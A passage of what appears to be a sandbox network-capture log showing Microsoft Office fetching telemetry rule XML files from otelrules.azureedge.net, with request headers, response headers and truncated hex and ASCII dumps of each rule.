2024-11-20 11:58:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115834Z-r1d97b99577hc74hhC1TEBvbns00000008p0000000008q2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:34 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 733c6689-901e-007b-288c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115834Z-185f5d8b95cqnkdjhC1NYCm8w80000000a4g000000001rv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:34 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115834Z-1777c6cb754xjpthhC1TEBexs800000009cg00000000a0zk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:34 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:34 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:34 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:34 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115834Z-185f5d8b95c68cvnhC1NYCfn7s0000000a5000000000cb61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:34 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-185f5d8b95c4hl5whC1NYCeex00000000a3g0000000092yr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:35 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:35 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-185f5d8b95csp6jmhC1NYCwy6s0000000a3000000000cwbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 11:58:35 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-r1d97b99577sdxndhC1TEBec5n00000008zg000000004uut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-185f5d8b95c4vwv8hC1NYCy4v40000000a7g00000000g8hb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:35 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-1777c6cb7549j9hhhC1TEBzmcc00000009h00000000043gu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:35 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-185f5d8b95c4bhwphC1NYCs8gw0000000a9000000000dwyr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 11:58:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 11:58:36 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T115835Z-185f5d8b95cjbkr4hC1NYCeu240000000a20000000007t2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 11:58:36 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 11:58:35 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
